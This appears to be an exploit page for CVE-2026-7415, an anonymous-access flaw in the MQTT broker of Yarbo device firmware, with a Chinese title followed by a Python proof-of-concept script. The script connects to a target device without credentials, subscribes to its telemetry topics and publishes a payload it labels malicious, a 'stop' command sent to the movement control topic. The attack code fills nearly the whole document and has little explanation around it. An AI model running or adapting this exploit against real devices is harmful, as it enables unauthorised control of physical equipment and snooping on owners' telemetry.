CVE-2026-7415 Yarbo固件MQTT匿名访问漏洞

import paho.mqtt.client as mqtt import time # Configuration TARGET_IP = "192.168.1.100" # Replace with the target Yarbo device IP PORT = 1883 CONTROL_TOPIC = "yarbo/control/move" # Example control topic TELEMETRY_TOPIC = "yarbo/telemetry/#" # Example telemetry topic # Callback when connection is established def on_connect(client, userdata, flags, rc): print(f"[+] Connected with result code {rc}") # Subscribe to sensitive telemetry topics client.subscribe(TELEMETRY_TOPIC) print(f"[+] Subscribed to: {TELEMETRY_TOPIC}") # Callback when message is received def on_message(client, userdata, msg): print(f"[+] Received message on {msg.topic}: {msg.payload.decode()}") def main(): client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message try: # Connect to the broker anonymously (No username/password) print(f"[*] Attempting to connect to {TARGET_IP}:{PORT}...") client.connect(TARGET_IP, PORT, 60) # Start the loop to process network traffic client.loop_start() # Wait a bit for connection to establish time.sleep(2) # Attack: Publish a control command without authentication malicious_payload = "{\"command\": \"stop\", \"reason\": \"attack\"}" print(f"[*] Sending malicious payload to {CONTROL_TOPIC}: {malicious_payload}") client.publish(CONTROL_TOPIC, malicious_payload) # Keep listening for a few seconds time.sleep(5) except Exception as e: print(f"[-] Error: {e}") finally: client.loop_stop() client.disconnect() print("[*] Disconnected.") if __name__ == "__main__": main()